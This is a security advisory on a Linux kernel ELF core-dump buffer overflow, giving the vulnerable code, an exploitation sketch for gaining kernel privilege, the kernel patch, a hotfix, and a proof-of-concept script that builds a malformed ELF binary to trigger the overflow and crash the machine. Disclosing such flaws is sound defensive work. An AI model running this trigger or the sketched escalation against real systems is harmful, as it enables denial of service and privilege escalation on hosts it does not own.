Summary
A locally exploitable flaw has been found in the Linux ELF binary format loader's core dump function that allows local users to gain root privileges and also execute arbitrary code at kernel privilege level.

Credit:
The information has been provided by Paul Starzetz.
The original article can be found at: http://isec.pl/vulnerabilities/isec-0023-coredump.txt
[1] http://www.skyfree.org/linux/references/ELF_Format.pdf
[2] http://www.gnu.org/software/binutils/manual/ld-2.9.1/

Details
Vulnerable Systems:
* Linux kernel version 2.2 up to and including 2.2.27-rc2
* Linux kernel version 2.4 up to and including 2.4.31-pre1
* Linux kernel version 2.6 up to and including 2.6.12-rc4

The Linux kernel contains a binary format loader layer to load (execute) programs in different binary formats like ELF or a.out. Some of the binary format modules like ELF provide an additional function to the kernel layer named core_dump(). The kernel may call this function if a fault (e.g. memory access error) occurs during the execution of the binary. The core_dump() function will be called by the kernel, if the process's limit for the core file (RLIMIT_CORE) is sufficiently high and the process's binary format supports core dumping.

The regular task of the core_dump() function is to create an on disk image of the faulty binary at the moment of the execution fault for debugging purposes. In the case of an ELF binary, the image will contain a memory fingerprint of the binary, its registers and moreover some kernel level structures containing the kernel state of the faulty process.

An analyze of the ELF's function elf_core_dump() from binfmt_elf.c revealed a flaw in the handling of the argument area of an ELF process. The argument area is the memory region of the process (in user space) that contains program arguments at the time of its initial execution (argc and argv arguments to the C main() function, arg_start and arg_end fields in the process's memory descriptor).

Discussion:
The vulnerable code resides in fs/binfmt_elf.c in your preferable version of the Linux kernel source code tree:

static int elf_core_dump(long signr, struct pt_regs * regs, struct file * file)
{
struct elf_prpsinfo psinfo; /* NT_PRPSINFO */

/* first copy the parameters from user space */
memset(&psinfo, 0, sizeof(psinfo));
{
[*] int i, len;

len = current->mm->arg_end - current->mm->arg_start;
[**] if (len >= ELF_PRARGSZ)
len = ELF_PRARGSZ-1;
[1167] copy_from_user(&psinfo.pr_psargs,
(const char *)current->mm->arg_start, len);

where the line numbers are all valid for the 2.4.30 kernel version. As can be seen from [*] the len variable supplied to the copy_from_user() function is signed and can potentially take a negative value. That will let the check [**] pass (since the ELF_PRARGSZ constant is defined signed the check will be performed with signed arithmetic) and cause a kernel stack buffer overflow. Note that a negative length provided to copy_from_user() will be interpreted as a very high positive byte copy count, since the length argument of the copy_from_user() function is defined unsigned itself.

However, there is at least one difficulty - how could the len argument become negative? A fast grep through the source code reveals that the arg_start/end fields are set only during execution of a new program. In case of ELF this is performed in the create_elf_tables() subroutine from binfmt_elf.c, so that in theory those fields are always reset to safe values. Paradoxically, there is a flaw in the create_elf_tables() function, that can permit a binary to "inherit" old values from the preceding binary (during binary execution the task descriptor as well as the memory descriptor are kept). A look at the code in question reveals:

static elf_addr_t *
create_elf_tables(char *p, int argc, int envc,
struct elfhdr * exec,
unsigned long load_addr,
unsigned long load_bias,
unsigned long interp_load_addr, int ibcs)
{
current->mm->arg_start = (unsigned long) p;
while (argc-->0) {
__put_user((elf_caddr_t)(unsigned long)p,argv++);
len = strnlen_user(p, PAGE_SIZE*MAX_ARG_PAGES);
if (!len || len > PAGE_SIZE*MAX_ARG_PAGES)
[239] return NULL;
p += len;
}
__put_user(NULL, argv);
current->mm->arg_end = current->mm->env_start = (unsigned long) p;

Obviously it is possible to return from create_elf_tables() without setting arg_end (but with arg_start set to a new value), if the strnlen_user() function fails to count the length of the binary argument(s) supplied. If the arg_start value becomes higher than the previous end of arguments in the "binary before", the difference <arg_end-arg_start> will evaluate to a negative value, permitting the buffer overflow described before.

To exactly understand how the strnlen_user() function could fail counting argument length, we would have to dig very deeply into the internals of binary execution as well as into those of ELF. However in order not to sacrifice the briefness of an advisory, here comes the trick:

It is possible to create a manipulated ELF binary, that specifies an ELF program section to be loaded at the place of program arguments, but with no access rights itself (that is, a page table level protection equal to PROT_NONE). That will cause the strnlen_user() function to page fault at the first attempt to count argument lengths. Moreover, the loading of ELF sections happens just after the initial arguments have been set up in the fresh memory space, so that it is easily possible to "override" the predefined ELF memory layout. To illustrate this, here two memory layouts:

(1) initial ELF memory layout before starting to load program sections:
----------------EMPTY------------------[ ARGS stack region ] TASK_SIZE

(2) possible memory layout after loading ELF sections:
---------[CODE][DATA]------------------[FAKE][stack region ] TASK_SIZE

where FAKE is an ELF section mmaped into memory with PROT_NONE rights specified.

Last aspect to discuss here is the exploit-ability under real world conditions. There is a "bug in the bug": if the copy_from_user() function will is called with a very high byte count, it will revert to zeroing the kernel buffer supplied (due to the access_ok() checking), effectively killing the kernel memory space. However, we believe that it is possible to carefully prepare the overflow environment in order to make the bug exploitable. Here just the sketch:

* The buffer overflown resides on the task's stack in the kernel space, that is, if the overflow occurs, everything following the task_struct in kernel space will be zero-killed

* If the task struct resides just before the end of the kernel accessible memory, this will cause a kernel Ooops and kill the current task but probably leave the system stable. If some kernel structure follows the task struct and contains pointers that are not checked by the kernel before dereference, this immediately leads to elevated privileges

* In the case of SMP the bug is easily exploitable under real world conditions as follows: two tasks are created at adjacent kernel addresses (that can be accomplished by creating 3 tasks, core dumping one of them and inspecting the parent/sibling pointers form the task_struct!). The first task triggers the overflow, so that the second task_struct is filled with zeros. The second task running on a second CPU repeatedly issues a "lcall 27" ABI call, that will use current->exec_domain pointer without check (stored at the early beginning of the task_struct). If the second task sets up proper structures in its virtual memory space, this will let the second task enter kernel privilege level 0 and permit a recovery from the buffer overflow

Paul Starzetz was able to successfully exploit the bug under laboratory conditions even on a single CPU machine.

Impact:
Unprivileged local users may gain elevated (root) privileges. Code may be executed at the kernel privilege level potentially breaking out of Linux virtual machines. A hotfix for this vulnerability is to disallow processes to drop core. This can be accomplished by setting the hard core size limit to 0.

Patch:
fs/binfmt_elf.c | 4 ++--
1 files changed, 2 insertions(+), 2 deletions(-)

--- gregkh-2.6.orig/fs/binfmt_elf.c 2005-05-11 00:03:45.000000000 -0700
+++ gregkh-2.6/fs/binfmt_elf.c 2005-05-11 00:09:17.000000000 -0700
@@ -251,7 +251,7 @@
}

/* Populate argv and envp */
- p = current->mm->arg_start;
+ p = current->mm->arg_end = current->mm->arg_start;
while (argc-- > 0) {
size_t len;
__put_user((elf_addr_t)p, argv++);
@@ -1301,7 +1301,7 @@
static int fill_psinfo(struct elf_prpsinfo *psinfo, struct task_struct *p,
struct mm_struct *mm)
{
- int i, len;
+ unsigned int i, len;

/* first copy the parameters from user space */
memset(psinfo, 0, sizeof(struct elf_prpsinfo));

Proof of Concept:
#!/bin/bash
#
# elfcd.sh
# warning: This code will crash your machine
#
cat <<__EOF__>elfcd1.c
/*
* Linux binfmt_elf core dump buffer overflow
*
* Copyright (c) 2005 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
// phase 1
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

#include <sys/time.h>
#include <sys/resource.h>

#include <asm/page.h>

static char *env[10], *argv[4];
static char page[PAGE_SIZE];
static char buf[PAGE_SIZE];

void fatal(const char *msg)
{
if(!errno) {
fprintf(stderr, "\nFATAL: %s\n", msg);
}
else {
printf("\n");
perror(msg);
}
fflush(stdout); fflush(stderr);
_exit(129);
}

int main(int ac, char **av)
{
int esp, i, r;
struct rlimit rl;

__asm__("movl %%esp, %0" : : "m"(esp));
printf("\n[+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0], av[ac-1]+strlen(av[ac-1]), esp);
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
r = setrlimit(RLIMIT_CORE, &rl);
if(r) fatal("setrlimit");

memset(env, 0, sizeof(env) );
memset(argv, 0, sizeof(argv) );
memset(page, 'A', sizeof(page) );
page[PAGE_SIZE-1]=0;

// move up env & exec phase 2
if(!strcmp(av[0], "AAAA")) {
printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
argv[0] = "elfcd2";
argv[1] = page;

// term 0 counts!
memset(buf, 0, sizeof(buf) );
for(i=0; i<789 + 4; i++)
buf[i] = 'C';
argv[2] = buf;
execve(argv[0], argv, env);
_exit(127);
}

// move down env & reexec
for(i=0; i<9; i++)
env[i] = page;

argv[0] = "AAAA";
printf("\n[+] phase 1"); fflush(stdout);
execve(av[0], argv, env);

return 0;
}
__EOF__
cat <<__EOF__>elfcd2.c
// phase 2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>

#include <sys/syscall.h>

#include <asm/page.h>

#define __NR_sys_read __NR_read
#define __NR_sys_kill __NR_kill
#define __NR_sys_getpid __NR_getpid

char stack[4096 * 6];
static int errno;

inline _syscall3(int, sys_read, int, a, void*, b, int, l);
inline _syscall2(int, sys_kill, int, c, int, a);
inline _syscall0(int, sys_getpid);

// yeah, lets do it
void killme()
{
char c='a';
int pid;

pid = sys_getpid();
for(;;) {
sys_read(0, &c, 1);
sys_kill(pid, 11);
}
}

// safe stack stub
__asm__(
" nop \n"
"_start: movl \$0xbfff6ffc, %esp \n"
" jmp killme \n"
".global _start \n"
);
__EOF__
cat <<__EOF__>elfcd.ld
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
"elf32-i386")
OUTPUT_ARCH(i386)
ENTRY(_start)
SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); SEARCH_DIR(/usr/i486-suse-linux/lib);

MEMORY
{
ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
}

PHDRS
{
headers PT_PHDR PHDRS ;
text PT_LOAD FILEHDR PHDRS ;
fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
}

SECTIONS
{

.dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme

. = 0xbfff0000 + SIZEOF_HEADERS;
.text : { *(.text) } >ram :text
.data : { *(.data) } >ram :text
.bss :
{
*(.dynbss)
*(.bss)
*(.bss.*)
*(.gnu.linkonce.b.*)
*(COMMON)
. = ALIGN(32 / 8);
} >ram :text

}
__EOF__